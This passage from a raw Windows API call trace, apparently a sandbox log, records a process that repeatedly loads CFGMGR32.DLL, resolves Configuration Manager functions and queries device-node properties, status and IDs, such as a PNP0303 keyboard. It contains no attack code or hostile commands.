(_Size=0xd8) returned 0x20abc2867b0 [0194.379] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.383] malloc (_Size=0x18) returned 0x20abc281a40 [0194.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.384] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fa05817, dwHighDateTime=0x1d9eb0c)) [0194.384] SetEvent (hEvent=0x248) returned 1 [0194.387] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.387] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.390] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.391] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.392] malloc (_Size=0x18) returned 0x20abc2819e0 [0194.392] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.392] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fa2bca7, dwHighDateTime=0x1d9eb0c)) [0194.392] SetEvent (hEvent=0x248) returned 1 [0194.395] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.395] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.398] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.399] malloc (_Size=0x18) returned 0x20abc281960 [0194.399] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.400] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fa2bca7, dwHighDateTime=0x1d9eb0c)) [0194.400] SetEvent (hEvent=0x248) returned 1 [0194.406] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.406] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.410] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.410] malloc (_Size=0x18) returned 0x20abc281a00 [0194.411] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0194.414] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fa520e2, dwHighDateTime=0x1d9eb0c)) [0194.414] SetEvent (hEvent=0x248) returned 1 [0194.527] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.527] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.527] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.529] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.530] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.530] malloc (_Size=0x18) returned 0x20abc281c20 [0194.530] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xf, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0194.531] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2fb5cd87, dwHighDateTime=0x1d9eb0c)) [0194.531] SetEvent (hEvent=0x248) returned 1 [0194.536] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.536] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.539] malloc (_Size=0x18) returned 0x20abc281dc0 [0194.539] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xf, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0194.539] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2fb8654b, dwHighDateTime=0x1d9eb0c)) [0194.539] SetEvent (hEvent=0x248) returned 1 [0194.542] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.542] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.543] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.544] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.545] malloc (_Size=0x18) returned 0x20abc281d40 [0194.545] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0194.546] malloc (_Size=0x48) returned 0x20abc27cf80 [0194.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2fb8654b, dwHighDateTime=0x1d9eb0c)) [0194.546] SetEvent (hEvent=0x248) returned 1 [0194.552] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.552] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0194.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0194.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0194.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0194.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0194.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0194.555] malloc (_Size=0x18) returned 0x20abc281f20 [0194.555] CM_Get_Device_IDA (in: dnDevInst=0x10, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0303\\4&22F5829E&0") returned 0x0 [0194.555] malloc (_Size=0x48) returned 0x20abc27cb20 [0194.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2fbab14d, dwHighDateTime=0x1d9eb0c)) [0194.555] SetEvent (hEvent=0x248) returned 1 [0194.558] malloc (_Size=0xd8) returned 0x20abc2867b0 [0194.558] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0194.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0194.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 